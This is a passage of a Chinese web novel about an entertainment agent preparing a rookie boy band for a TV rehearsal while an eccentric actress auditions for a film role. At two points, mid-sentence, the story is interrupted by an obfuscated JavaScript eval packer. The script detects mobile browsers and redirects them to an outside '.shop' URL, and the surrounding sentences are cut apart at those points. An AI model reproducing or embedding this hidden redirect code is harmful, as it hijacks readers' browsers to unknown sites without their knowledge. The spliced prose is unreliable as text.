初期的艺人们还保持着真诚友善,宫欢感慨,不知道大家以后红了,又会变成什么样。 她摸到手机,打开微信,看着男团群和演员组,思索片刻,手指点击几下,将目前的所有艺人和高姐拉进新建群。 宫欢:【明天不用训练,可以多睡会儿养足精神。】 大概都睡着了,没人回复。 宫欢盯着群名,脑中闪过一些群名—— 【精准扶贫开发群】 【圈内八卦第一消息组】 【谁先爆火谁退群】 【大腕儿交流地】 还真是不好选呢。 - 隔天中午,众人慢慢醒来拿起手机,便看见7人群那显眼的群名—— 【福布斯富豪榜前(7)】 群里有一句没一句的吐槽。 萧子重:【你功利心太强了吧。不过这群名确实挑不出毛病……】 甘惊鸿:【代入感很强,我感觉已经上榜了。】 安声:【比起富豪,我还是比较想做顶流爱豆~要不然改成顶流一线明星榜?】 萧子重:【……我收回刚才那句话。】 几人慢慢起床下了楼,在餐厅慢悠悠吃着早午餐。 宫欢洗漱完下来时快要一点,她打了个哈欠,擦了擦眼尾的生理性泪水,来到餐厅准备简单说一下今日行程安排。 餐桌旁甘惊鸿正喝着香菜牛奶:“早啊欢姐。” 宫欢点头:“早,你等会收拾一下行李,刘导那边说在B市试镜,下午我们一起走,到时候我让高姐陪你去试镜。” “嗯嗯!我马上吃完就去收拾。” “剧本你看了吗,人物理解怎么样?”宫欢说,“试镜的时候要表达出你对角色的理解,形象我看没什么太大问题。” 甘惊鸿咬着吸管:“嗯…通过我对不同尸体的性格演绎,这个角色稍微有点挑战难度。” 宫欢不由得问:“哪里难?” 甘惊鸿严谨道:“她是个活人。” 宫欢:“……” “我看还是把剧本给有需要的人吧……” “诶诶诶——别呀!”甘惊鸿搬着餐椅坐到宫欢旁边,抱住她手臂整个人缠上去,“我还没说完呢!” 餐桌另一边坐着的只有安声和萧子重,宫欢刚想问还有一个去哪儿了,别还在睡,甘惊鸿继续说: “我早上起来就一直在看剧本,女主在高中的时候成绩优异,救下了被人霸凌的男主,从此之后,男主就爱上了女主,而女主不知情。” 萧子重听得津津有味:“啧啧啧,又是他爱她,她不爱他,他追她躲的掐腰红眼给命、燃冬文学?” 甘惊鸿竖起一根手指轻轻摇了摇,意味深长地说:“不不不,这是部非常具有教育意义的救赎片。” “霸凌者去报复女主,找人蹲她,结果被一直关注她的男主发现了。两方就此展开了激烈的斗殴,女主还是不知情!” 安声问出所有人都想问的问题:“那她知道什么?” 甘惊鸿越讲越深入情景,站起身来,边说边做手势:“女主知道学习啊!好好学习天天向上,多看书多睡觉,然后——她考上了名牌大学,从此风光无限。” 萧子重懒洋洋举手:“后面我知道了。” 甘惊鸿伸手示意他:“请说。” 萧子重手指放在鼻梁前,微眯着眼接下剧情:“然后,女主事业有成平步青云,买车买房在魔都立足了脚跟,创建成立自己的公司,从此衣食无忧!” “哦对还有,为了发扬她真善美的品质,她还会为以前的学校捐款,这就符合了她高中时期救下男主的性格本质!” 宫欢无语地看萧子重:“那我请问男主去哪儿了?” 安声举手抢答:“这个我知道!男主进监狱了!他被学校劝退之后走上了不归路,吃不饱穿不暖,就去做了反派结果被抓了。” 宫欢:“……”闷头干饭。 甘惊鸿听见这话瞪大眼睛:“这都被你猜到了!” 萧子重震惊:“还真有这剧情!?” “当然有,不过那是结局了。其实主要戏份是女主大学毕业之后应聘了一家公司,那家公司老板正是霸凌男主的人。”甘惊鸿说。 “霸凌者认出女主,故意说那都是以前不懂事,要冰释前嫌,为了证明诚意招女主成为员工。” “结果却一直暗地里排挤她,再次职场霸凌,刚开始的一些小动作还好,但是后面女主背了个大锅,涉嫌金融犯罪,被诬陷无法逃脱。” 萧子重已经被这曲折离奇的剧情折服:“她应聘的时候为什么会相信霸凌者?” 安声:“女主是会计吗,为什么可以背经济锅?” 宫欢没忍住怼道:“因为导演让的。” 甘惊鸿重重点头肯定:“后来男主突然出现帮她顶罪。原来,男主被学校劝退之后就一直默默守护在女主身边,也知道她进了霸凌者的公司,一直暗中观察……” “这就叫——‘进狱系男主’,”甘惊鸿说,“听说很受欢迎的。” 萧子重:“......确实‘进狱’。” 安声听完后,觉得漏了什么:“那女二呢,怎么没有女二的剧情啊?” “哎呀忘了说,”甘惊鸿拍了拍头,“女二只出演高中和大学的部分,也就是我~去救男主,我~努力学习考上好大学。” 萧子重若有所思:“听起来戏份不多。” 甘惊鸿不觉得:“有就已经很好啦,我看了几遍剧本台词,角色理解应该没问题。” 几人闲聊着,三楼楼梯口,奚亭云慢慢露面,睡了这么久精神恢复不少。 早上起来才发现他错过了许多消息,不过没有太多时间看,洗过澡后就赶了下来。 他们聊天非常投入,宫欢发怔似的吃着饭,似乎魂儿没在这,只剩个空壳子负责吃饭这项内容。 奚亭云从她后面绕到餐桌另一边拉开餐椅坐下,阿姨见人来了,很快端上健康餐。 “你们在聊什么?”奚亭云往宫欢那边看了眼。 “在聊饼干姐姐的剧本,”安声说,“听起来很有戏剧性。” 萧子重嘴里的香菜牛奶差点喷出来,他咳呛两声,脸憋红了:“你说什么!?你叫她什么??” 安声奇怪地看萧子重一眼:“饼干姐姐啊,挺可爱的昵称。” “这合适吗?这合适吗!?”萧子重瞪着安声,“你们熟到能互相起外号昵称了??” 安声被他凶狠的语气吓到了些,但觉得没问题:“她的微信名就叫饼干啊......” 萧子重:“你们还加了微信!!??” 甘惊鸿不明所以的小声插话:“艺人之间不能私下联络吗?” 安声手掌搭在嘴边放轻声音:“我也不知道啊,他今天奇奇怪怪的。” 两人隔着一张大餐桌,如此明目张胆的悄悄话,像是怕谁听不见似的。 萧子重揪了揪衣领,朝脸上扇风,实在不知道找谁说话了,逮住对面坐着一声不吭地奚亭云说:“老奚,你说呢,他这毛病要改啊,动不动就喊别人姐姐姐姐的。” 萧子重看了眼甘惊鸿,又移开视线,瞥安声一眼:“人家万一比你小呢?” 安声善解人意地说:“不会啊,这里除了奚哥和你最大,我们都二十岁出头。” 奚亭云感觉莫名中了一箭,他收回眼角余光,直视安声,附和萧子重的话:“……没错。” 安声:“是吧。” 奚亭云:“你的毛病要改。” 安声:“?” 萧子重鼻端溢出声冷哼,双手十指相扣拧出咔咔咔的骨骼响声,接着又扭了扭脖颈站起身,走到安声旁边架起人:“走吧,让哥哥好好教教你怎么为人处世。” 安声死死扒着餐椅疯狂摇头:“我不!我没错!欢姐——救救我!” 奚亭云也站起身走了过来,架住安声右边手臂:“走。” 宫欢吃完最后一片叶子菜,瞥了闹腾的几人一眼,只觉得他们非常吵闹: “三点的机票出发去B市,你们的东西都收拾了?到时候我会找人拍路透图,你们谁要是给我穿的像从垃圾桶里扯了几片塑料袋套上似的......” 三人不约而同的止住动静,默默咽了咽口水,讪笑两声,你追我赶地冲上楼去收拾行李了。 宫欢摇摇头:“叽叽喳喳的,吵死了。” 甘惊鸿深以为然地点头:“男人,就是这么聒噪。” - 经过2个小时的行程,众人抵达B市。 B市是许多剧组拍摄地的首选,这里有全国最大的影视基地——竖店,景点众多,不少人都喜欢来这里偶遇明星。 机场外,高姐早早联系了常用的司机,这会儿两辆商务车停在众人面前。 几人围着宫欢,听她嘱咐行程安排: “高姐带小甘去刘导那边试镜,地址你们都知道的啊,试镜的时候衣服穿的尽量简单,妆容也是,保持淡妆,口红都不要涂。” 甘惊鸿一一记下,认真的拿着手机做笔记:“记住了!” 宫欢又和高姐交代:“如果试镜过了看刘导那边怎么说,直接进组拍还是等,拍的话你们就直接找个酒店住下,让小甘完全沉浸角色。” 高姐一口应下:“没问题。” 交代完两人后,司机将行李搬进后备箱,众人分成两拨分别上了车。 一辆车开往电视台,一辆车开往竖店。 车上,宫欢靠坐在副驾驶闭目养神。 后排三人都比较紧张、期待。 奚亭云一直看着手机里的训练视频在脑中模拟训练。 萧子重则坐立难安,一会动动,一会儿降下车窗。 安声老实很多,拿着手机,估计在跟人聊天。 “我们要彩排多久?”萧子重拍拍宫欢的座位,“节目开拍的具体时间定了吗?” 宫欢闭着眼,声音慵懒:“还没有,毕竟上这节目的大腕挺多,到时候说不准谁临时有事耽误,来不了。” 萧子重没话找话:“你那些恶意剪辑的事儿怎么处理的,我们会不会受到影响。” “就你们,”宫欢睁开眼,看着后视镜里的三人,“火不火还没个准呢,现在就担心被我影响了?” 安声身体前倾,将头探到宫欢旁边:“没有没有,欢姐别误会,我们只是担心你心情不好。” 宫欢扬起半边眉毛,露出个浅笑,抬手拍了拍安声的蓬松软发,颇觉手感不错:“还是你贴心,不像某人,心里只有自己。” 萧子重听着不对味,啧了一声,拽着安声衣领往后拉,“你跟谁一伙的?” 两人闹腾着,奚亭云将手机上的视频点击暂停,一截白皙的腕骨朝上,淡青色的青筋与血管沿着手臂蜿蜒而上。 这双手表面看上去很漂亮,让人完全猜不到——手的主人曾经是个炒饭摊主,手心里的茧子厚厚硬硬的,被生活磨练的印记牢牢刻在掌心的纹路里。 他头戴深蓝色鸭舌帽,简约的纯白T,阔腿黑裤,比另外两人的穿着,要简约低调不少,一如他的低调性格。 后面的人太闹腾,宫欢视线在后视镜里停留片刻,看见奚亭云靠在车窗边,头微低垂着,仿佛和那两人之间始终有条分割线。 明明训练默契里他的表现很好啊。 宫欢没有注意到,奚亭云的手指紧扣在手机边缘,视频已经停止了播放。 敏感的人非常容易察觉到别人关注的目光,哪怕是非常隐秘的注视。 宫欢忽然开口:“奚亭云。” 被叫到的人像是才醒过来一样,奚亭云目光游移了片刻,才放在宫欢身上:“叫我吗?” “没有,”宫欢反驳道,看着对方惊讶的眼神,“在叫一个笨蛋。” 奚亭云愣了几秒,反应过来后,面带无奈,笑:“你说是的话,那就是吧。” 宫欢正了正色:“彩排比你们平时训练的程度要更用心、更消耗精力,走位,配合,还有灯光的变化等等,都要注意,每彩排一次就要有一份把握。” 奚亭云认 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126330|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真听着:“我明白。” “我是想说,”两人的视线在后视镜里交汇,“注意手臂的伤,别硬撑。” 奚亭云微怔片刻:“......嗯。” 后座的另外两人正扯着对方的头发和衣服龇牙咧嘴,没注意车内微妙的氛围。 - B市电视台园区。 【敢说敢言】这档节目播出多年,以大胆发问和回答著称,哪怕是前几年的节目,有时还会被扒出来其中的名场面片段,小火一段时间,含金量可见一斑。 宫欢之前初期拉资源的时候来过这座园区,不过只是和一些领导应酬,没有具体了解过内部演播室的位置。 几人刚到园区门外,宫欢就联系了和她一直往来的工作人员,有了特许后才被保安放入园区内。 除了宫欢外,三人还是头回见到电视台内部,车进入园区范围后便放慢了速度,车窗降下两三面。 萧子重往外看,看就算了,嘴也不停:“这里面挺大啊,还挂那么多海报,都是来参加节目的明星吗?我们有海报吗?” 安声被吸引去了视线,往外张望:“好像有吧,之前欢姐不是找过摄影师给我们拍过形象照吗?” 宫欢给司机指着方向,找演播室所在的楼栋,左拐右绕了十来分钟,车在一座大楼前停下。 众人一下车,等待的工作人员就走了过来,她胸前挂着工作证,看了几人一眼,最后目光锁定在宫欢脸上,露出笑来打招呼: “您终于来了,欢姐,我是跟您联系的小张。” 宫欢点头示意:“你负责我们的彩排安排吗?” 一番客套,小张带着几人进了大楼,等待乘坐电梯去演播室。 宫欢简单介绍:“导演有跟你们说过我在带男团的事情吧,就是他们三个,都是新人,没见过什么大场面,等下麻烦多多照顾了。” 小张摆摆手,体面地微笑: “您客气了,等下我们先去确认一下场地安排,您看看还缺些什么布置,我们前段时间让道具组去准备了不少和科幻有关的道具,但是怕不够,所以还需要您这边确认一下。” 两人你来我往的商量细节。 萧子重用手挡住嘴,在两人间悄声:“别说,她这样还有点经纪人的样子。” 安声小幅度地点头,“我也觉得欢姐工作的样子很酷。” 奚亭云不做声。 电梯到了。 最近在室内录制的节目只有两三档,演播大楼里人也不多,几人进去,小张摁了个10层,便规规矩矩的站在一边。 电梯门刚一关上,宫欢就露出那让人很眼熟的笑,她抬起手搭在小张肩上,笑眯眯地弯了弯眼睛,热络地聊起来: “张啊,跟姐透个底,第二场的中场节目是璀璨那边的人吗?” 萧子重:“当我没说。” 安声:“......好熟悉的套路。” 宫欢拍着小张肩膀:“你看我们都认识这么久了,大家工作上都挺合得来的,你跟我之前遇到的那些工作人员大不相同,效率高,人勤快有礼貌,一看就是有特别有性格有原则的人。” 小张干笑着摆手:“不敢不敢,我只是个普通的小助理,做的那些都是我的工作本职。” 宫欢另一只手又搭在了小张的肩上,两手都压在她身上,无害地放软声音: “那你也超过了一大批人,有些人连本职都做不好。哎呀,我这又不是什么大八卦,我就是想为男团的后期营销做个风险评估,万一第二场节目比他们优秀太多,我也很头疼的呀。” 小张纠结再三,偷摸瞄了眼电梯楼层,才到5层,她只好透底:“是璀璨的人。” 宫欢早有预料,但更想知道的是,她老东家那边,这次带了什么艺人过来,她不死心继续问:“他们来的是歌手,还是搞笑艺人?” 叮——电梯到了。 小张逃似的躲开了宫欢魔爪,走在前面领路,谨慎地说:“他们今天也会来彩排,您等下就会知道了。” 宫欢无奈,知道再问就有点强迫的意思了,索性直接迈步,跟着人走进了演播厅。 【敢说敢言】的节目流程不用彩排,只是主持人的问题台本、和嘉宾们的雷点互相通个气,知道一下就行,没有非常规矩的脚本流程。 而中场节目的唱跳类节目就不一样了,灯光场景布置等等,都需要提早做准备。 一进入演播厅,里面灯光大亮,几架摄影机架在半空,工作人员们来来往往的忙碌。 宫欢转身指了指大屏幕和舞台:“你们先去适应一下舞台,找找机位,正式开跳的时候哪个机位亮灯,就说明切到了哪里,你们都要给我认真关注,到时候敢漏掉一个镜头......” 宫欢眯起眼,目光如刀片似的:“一个月没有放纵餐吃。” 萧子重:“什么!!你知道啃草会死人的吗!” 安声:“不要啊姐我错了!!我还在长身体!” 奚亭云:“......我——” 奚亭云只蹦出了一个字,萧子重提前预判到他的回答,一把捂住他的嘴代为回答: “他说他也是!” 奚亭云眉头微拧,想拽掉萧子重的手。 “我去和导演聊聊。”宫欢没再多说,转身去和剧组人员沟通场景布置去了。 萧子重松了口气,手猛地被人扯下来,奚亭云面露不虞:“你做什么?” “你刚才是不是又要说你没问题、你可以、你都行?”萧子重说。 奚亭云顿了顿,没否认。 “叛徒,叛徒啊你!”萧子重夸张地后退两步,颤抖的手指着奚亭云,“组织怎么出了你这么个叛徒!你好像什么都顺着她,这样只会让敌人觉得我们没有底线,以后会变本加厉地压榨我们。” 在每月放纵餐上,安声绝不退让,他和萧子重站在一边,一起指责:“我同意!” 奚亭云不置可否,只是转头看向演播厅里占了大半面积的舞台: “你们不是一直都在念初舞台吗,现在近在眼前了,不去看看?” 两人止住话头,齐齐转动脖颈,目光直直看着那几米高的舞台。 40. 彩排,试镜 台下的摄影机旁,宫欢跟着小张找到了导演,简单介绍过后,小张就去引导三人辨认机位了。 【敢说敢言】节目组牛导演是个中年女人,穿着打扮风潮时髦,说话和气势都是雷厉风行的做事派头。 宫欢收敛了下:“牛导,场景布置我还想再加点东西。” 牛导拿着脚本叫来了道具组,说:“要什么跟他们提就行,你是制片那边推荐来的人,我会尽量满足你的需求。” 道具组的工作人员小山看见宫欢就有点发怵,讪讪笑道:“欢姐好。” 谁不知道她宫欢大名啊。 耍大牌成性,等下道具要求指不定要怎么折腾他,他求助似的看了看牛导,牛导悄悄点头,示意他:没事。 宫欢等不及,带着人就往舞台下方走,绕着舞台看了两圈,像是在巡视自家后花园。 小山拿出对讲机,通知舞台灯光和场景3D的工作人员全部打开场景特效。 先前节目组和宫欢有文档来往,宫欢提出了她这边需要的舞台风格要求,节目组就在慢慢的进行制作中,但最终决定还要宫欢这边来确认,以防有不满的地方需要改进。 确实需要改进。 宫欢看着那花花绿绿、形似广场舞的舞台,张了张嘴,忍住没骂。 毕竟是语言类节目,场景布置的各类装饰多是夸张、丑萌的物品,3D投影的舞台上,有架飞机来回飞,确实符合了宫欢的科幻要求。 ——如果那飞机不是卡通版的话。 ——机翼上还有两只卡姿兰大眼睛眨巴眨巴。 要这么搞,出道即封杀,还会成为互联网上传唱多年的搞笑名场面。 不知道的人,还会以为这是来竞选少儿频道的主持人大赛呢。 宫欢深呼吸,再深呼吸,花了几秒钟让自己平静下来。 小山感觉到,旁边的娱乐圈小炮仗的火星子溅到自己身上了,他紧张地搓搓手臂:“那个,您觉得哪里需要改?” 宫欢伸出手指,绕着舞台画了个圈,无情的说:“全部。” 小山身体一颤,如临大敌:“这个,有具体方向吗?” “舞台灯光只能用两种颜色,白色和浅蓝色,颜色越浅越好,那只小飞机赶紧撤了,”宫欢看见卡通飞机就头疼,还是忍着脾气好声好气地说,“不符合科幻风格,换成摩天大楼,钢铁森林那种调调,地板的颜色用红和深蓝交替,颜色不要太深。” 小山拿着笔记下:“那会不会太空旷了?” “还没完,”宫欢指着舞台上那些丑萌玩偶,“那些都撤掉,换成蝴蝶,不要特别艳丽的那种,用冷色调的,然后3D投影最好也能找到一批蝴蝶素材,到时候需要做上下场的特效。” 说完,宫欢末了还问一句:“这样经费用不了多少吧?” 小山大致算了算,比起其他嘉宾们要求的大场面,这其实算是非常简单的了:“经费的事您不用担心,我们的任务就是满足您的任何要求!” 宫欢被他这话逗笑,她提出的要求没多大难度,就看场景布置的人员审美怎么样。 小山拿着对讲机跟灯光师等工作人员联系,说明需要改动的地方。 于是可以看到,舞台灯光时不时变换成浅色系的过程,台上三人已经开始根据机位的位置练习走位,前后交替,时不时伴随几个舞蹈动作。 萧子重有足够的话剧舞台经验,舞台多是相同的,他在台上和机位两边来回指着,和两人商量。 安声不仅有舞台经验,也掌握着多人舞台的走位节奏,他则是与萧子重演练走位,包括舞蹈动作跳出来时,哪个机位最能拍到合适惊艳的角度。 奚亭云耐心地看着两人交谈,偶尔按照他们说的走位过一遍舞。 距离有些远,宫欢听不太清他们在说什么。 只能看见偶尔的舞蹈动作。 白与蓝的灯光折射出很薄的光幕,偶尔扫过几人,奚亭云认真地排练,他穿的白T恤比较宽松,有些动作幅度很大,衣服偶尔跟不上身体,使得他腰间的皮肤露出一片。 宫欢在台下,向上看的角度,恰好能透过衣摆荡起的弧度看清腰间的肌肉纹理。 她身体微顿,下一秒,柔软的布料又盖住了那儿,貌似又是放慢的舞蹈动作,奚亭云微微向后弯腰,手臂伸展开。 腹部有根微凸的青筋,沿着腹肌蜿蜒而上没入在白色棉质的T恤里。 宫欢的视线移开,又落在他手臂上,灯光将人的皮肤映得透亮,流畅的弧线流到手指,他手指很长,几根微微交错着,格外有美感。 像......像嫩脆的竹子。 宫欢脑子里的想法一点点跑偏,她紧急踩下刹车,心有余悸地擦擦嘴角。 欣赏,她这是欣赏自己挑来的艺人。 宫欢不再看舞台,转头找小山去演播室看整体的全景。 台上,萧子重叫了声奚亭云:“老奚,你一个人在那舞什么呢?快来,我们试试这个走位。” 奚亭云看了眼离开的人,点头应声:“好。” - B市竖店地带。 一辆商务车停在拍摄地的警戒线外。 高姐跳下车跟司机嘱咐两句:“麻烦您把行李箱带去酒店,跟服务生说是7765房间的,让他们放进去就好。” 交代完,司机开车驶离。 高姐背着电脑包,扭头就看见早一步下车的甘惊鸿正对着一棵树念念有词。 甘惊鸿手里拿着打印出来的纸质剧本,上面不知何时勾画上了许多花花绿绿的标注,她沉浸在角色里面,嘴里嘟嘟囔囔地说着台词,神情投入认真。 “你没事吧,你没事儿吧......女配是哪里人啊,要不要带口音。南方口音?咳咳,你还好哇?还是北方口音?你能啥类?你妹事儿吧?” “你还好吗,你是不是要死了,伤口会发炎的,你留个联系方式给我吧,死了我也好通知你家人。” 高姐:“......”这真是剧本台词吗? 高姐靠近时,甘惊鸿还试图抱起那棵树:“我,我背你去医院——不重,一点儿都不重!” 肩膀被人拍了拍,甘惊鸿停下倒拔杨柳的动作,仰头看见带着银边眼镜的精英助理,高姐说:“别玩了,先去试镜地点,去晚了说不定会被抢走角色。” 甘惊鸿一下站起身,拍拍裙子上的碎屑,屁颠屁颠地跟着高姐,“这个怎么抢角色啊,不是大家公平竞争吗?” 两人往影视城内部走。 高姐拿出通行证给工作人员检查,边带路,边给这位剧组小白科普:“那是明面上的说法——就像你,你这个资源是宫欢从导演那拿来的,也算是走后门,不过只是过了一道海选门槛,接下来就是和其他有点背景的人竞争角色。” 走进影视城,甘惊鸿四处看了看,这片区域是古代景区,路两边有摆摊卖菜、卖小吃的摊贩,穿着打扮都是古装,连叫卖声都不出戏。 “热馍馍,新鲜的热馍馍嘞!” “三文钱一个!不好吃不要钱!” “烧饼,香喷喷的五香烧饼,嘎嘣脆喔,五文钱一个~” 甘惊鸿之前来这跑过龙套,演小角色不用试镜,多是副导演说来几个人演什么什么,群头就会来挑人。 所以说到试镜,她还有些激动,感觉像是参加一场竞选比赛,非常有挑战性: “其他人都有什么背景啊?” 宫欢之前跟高姐说过几句,是从导演那边套话套来的,高姐想了想: “听说有主演的二大爷家的妹妹、投资方的情人、制片人的小十六、副导演他爸的弟弟的女儿的表姐、知名娱乐公司新签下的流量网红,也就这些吧。” 甘惊鸿:“......姐,要不我们回去吧。” “怎么?” “这一点胜算都没有啊!”甘惊鸿崩溃道,“背景一个比一个硬!” 高姐不这么认为,说:“你知道宫欢在哪遇到这位导演的吗?是在新星晚宴上,既然有这么多候选人了,他还跑去自己挑人,说明这导演是有原则的人,他可能会接受带资进组,但是一定要符合他的选角。” 甘惊鸿似懂非懂:“所以我还是有机会的啦?” 高姐:“没错,加油,宫欢之前把你的照片发给过导演,他说看着不错,但是不知道个人气质符不符合,所以等下你的表现一定要符合角色。” 甘惊鸿攥紧拳头,给自己鼓劲加油:“我一定会让他大吃一惊!” 两人穿过古代街区,来到现代街区,里面正在拍摄的剧组众多,有时还会误入正在拍摄的场地,就听见一些副导演不耐烦的叫嚷: “穿帮了!谁的人啊那是。” 甘惊鸿忙举手道歉:“抱歉抱歉,迷路了!打扰打扰。” 高姐打开导航,带着甘惊鸿弯弯绕绕才找到刘导演的剧组——【皎皎月明】。 剧组暂时租用了一栋居民楼的小房子作为拍摄基地,外面来来往往的人员在按照要求布景,一楼房间门外放着一排有些简陋的木板凳,坐了一排打扮光鲜亮丽的演员们。 甘惊鸿刚到的时候,那一排漂亮的面孔慢悠悠地转过来,她们若有似无的目光慢慢打量着她。 这些演员个个漂亮出挑,长相各有各的美,端庄大气的、精致小巧的、艳丽逼人的、极有特点的等等,看得甘惊鸿有些怯场,手默默无措地摸了摸有些简单甚至质朴的白裙。 她凑到高姐旁边小声说:“高姐,我感觉更没有胜算了,她们都好漂亮啊,穿得也很好看,我,我真的不用去重新化个妆吗?” 高姐见惯了大场面,站在甘惊鸿旁边气势极强,挡掉了一些不善的目光,她安慰她: “你的角色是一个高中生,即使上了大学也是专注学习的人设,肯定是没时间化妆的,要符合人物设定。” “别分心关注那么多,想想你的角色面对这种场合会有什么表现,现在开始就酝酿一下,沉浸角色,等下到你的时候就好发挥了。” 高姐以前跟着宫欢带过几个艺人,有些艺人不爱自己钻研角色,只想当个站桩立牌汤姆猫。 宫欢那时候只能拿着剧本揉碎了掰开了把剧情人设塞到那些艺人嘴里脑子里。 为了让他们好好演戏,宫欢操碎了不少心,高姐时常跟着宫欢,不知不觉间,莫名其妙的会了这些试镜的选角点。 甘惊鸿再往演员们那边看去时,打量的目光减少了些,她轻轻嗯了一声,郑重其事地说:“没错,看来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126331|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要用到那招了。” 高姐:“嗯?什么东西?” 甘惊鸿没有多说,拿着剧本自觉地去演员们的后面排队,找了张木板凳坐下。 天色已晚,她穿着坐飞机来时的挂脖露肩白色长裙,头发黑直,披散在肩后,是非常青春清新的形象。 甘惊鸿在脑子里不断催眠自己。 女主在高三的时候遇到被霸凌的男主,她家境较差,一心只想好好学习,成绩在学校里面乃至省里都是名列前茅,她是个有坚持的女孩子,能吃苦,脑子不笨。 女主除了学习,平时会去兼职做临时工,剧本里没有细写女主的家庭环境,全部都是围绕男女主的感情来写。 但是甘惊鸿觉得,女主的长辈们应该给了她很好的教育。 女主的前期表现坚毅且善良,尽管家境很差,在温饱线上挣扎,却没有被生活磋磨的痛苦或是绝望,那一定有什么能支撑她这样看待人生。 只是有一点,甘惊鸿想到剧本后期,女主被迫背了金融犯罪的锅,那时候女主崩溃了。 甘惊鸿觉得这有点割裂,如果是她,会找出很多证据来证明自己没有犯罪,而不是自己认了,等男主来帮她背锅坐牢。 要是甘惊鸿是她的话,她找到证据反击恶人,就像以前救下了男主一样反抗霸凌者,后面和男主重逢,一起举报霸凌者,打败恶人,其实也是个很好的电影剧本啊。 比原剧本积极向上了许多。 但是这样就没有戏剧性了。 思绪在短短半小时里飞快跳跃,甘惊鸿感觉自己已经进入了角色状态。 周围嗡嗡的交谈声没有影响到她,忽然,远处开来一辆车,车上走下来一位光头戴棒球帽的男人,剧组人员看见他都纷纷叫了声“刘导”。 排队的演员们见到刘导过来,都礼貌地站起身迎接。 甘惊鸿还在进入状态中,旁边的一个演员看见她没反应,伸手拍拍她,小声提醒:“导演过来啦,别睡了。” 甘惊鸿被提醒后,直愣愣地站了起来,有些懵的眼睛看向走近的刘导。 仿佛是过于沉浸式的投入状态,甘惊鸿虽然人站着,神却还在女主的性格揣测中。 女主找工作的时候,是直接去找老板问需不需要兼职,申请奖学金时是直接去校长办公室,甚至毕业后找工作也是一家家的去找机会。 如果是她的话,现在应该—— 那一瞬间,甘惊鸿像是被夺舍了,她迈步越过一众演员,直直冲到正在往前走的导演面前,诚恳而单纯地说: “先生您好,我是单虹,毕业于国内xx大学,我有大厂实习经验,专业能力强,有跟过项目完成度非常好,非常希望您能考虑一下我!” 一番话说完,在场所有人都惊呆愣住。 剧组人员和排队等待试镜的演员们,都没想到这人这么莽,直接冲上去就开始胡言乱语了。 等等,好像哪里不太对? 这会儿有几个演员想到关键点,女主不就叫单虹吗!? 刘导有点懵逼的看着突然冒出来的这么一个女孩,穿着打扮都很清雅,那股倔强坚毅的劲儿却扑面而来,一刹那就让人感觉,她好像就是单虹这个人。 甘惊鸿说完这通话后,也清醒过来,后知后觉地发现自己太莽撞了,没收住对角色的把控。 ——她的演技招式就是催眠自己,投入角色本身,把自己忘掉,成为角色。 这样的招式有时候很好用,但有时候就会失灵,失灵的后果就是——控制不住表演欲。 甘惊鸿慢慢低下头,想看看地上有没有缝好钻进去。 完蛋,早知道应该让高姐拽着她一点的,等试镜的时候再放进去。 刘导顿了片刻,看不出情绪地点点头:“好的,请先回到你的位置,等下会轮到你试镜。” 说着刘导绕开甘惊鸿,走到了试镜的房间里。 甘惊鸿默默低着头回到原位,高姐本来在旁边望风,意外地看完了全程,颇觉得这姑娘不错,知道自己争取机会。 高姐走过来搭话:“刚才不错,很符合角色设定。” “真的?”甘惊鸿顿时欣喜地仰起头,但还有点心虚,“……我刚才太冒失了,直接就去堵住导演表现,会不会显得太上赶着了?” 高姐不觉得:“上赶着怎么了,我们就是需要机会啊,机会就是要去争抢的,不要觉得不好意思,你想要,就去争,去抢,争不到再说。” 甘惊鸿头回听到这样的观点,面对机会要又争又抢。 “对了,高姐,”甘惊鸿说,“我有时候沉浸角色会出不来,麻烦你看着我一点,不然有时候我可能会闯祸。” 高姐:“就像刚才那样吗?” 甘惊鸿犹豫了下,说得详细一点:“那只是轻度的症状,严重的话还有更厉害的……” “比如?” “嗯......之前我演僵尸的时候咬了化妆师;演尸体的时候三天没醒,剧组以为我真死了;做恶毒女配的时候给女主演写过几千万支票让她离开男主演;演鬼魂的时候经常悄无声息地在夜里飘,还有......” 高姐:“......” 宫欢,下次签艺人之前,先做背调好吗? 41. 死对头 演播厅。 奚亭云三人在小张的提示下,总算把机位全部辨认完了。 走位也顺利的一遍过,接下来就是熟练走位的同时,注意镜头提示灯,这一项听起来不难,可真要做起来还是件麻烦事。 三人初舞台,即使安声有经验也不敢保证自己绝对不出错,唱跳记走位的同时,要分心在耳返里听节奏,眼睛也要捕捉镜头,展现出最好的一面。 如果是老人问题倒不大,三人都是新人,台下那么多双眼睛盯着,很难保证不紧张。 小张非常好心的给他们传授经验:“台下的观众都是我们花钱雇的人,不管你们跳的多难看大家都会鼓掌,请尽管放心。” 三人:“......” 谁也没被安慰到,跳得更卖力了。 后台的旁边有几个工作人员指着奚亭云嘀嘀咕咕:“是他吗?” “我看着像,应该就是吧,要不去问问。” “侧脸特别像,尤其是鼻梁。” “走,去问问。” 两三个工作人员来到小张身后,悄悄拉着小张手臂:“诶,那个穿白衣服的,是不是之前网上火的“书店侧影”的那个人?” 不说这茬,小张一时半会儿还想不起来。 难怪呢,去接人的时候除了宫欢外,她还觉得奚亭云有点眼熟,当时只以为是整容的明星太多了,有几分谁的影子都很正常。 没想到原来是在网上刷到过热门帖子。 小张看着在排练的奚亭云,确认道:“应该是他,怎么了?” 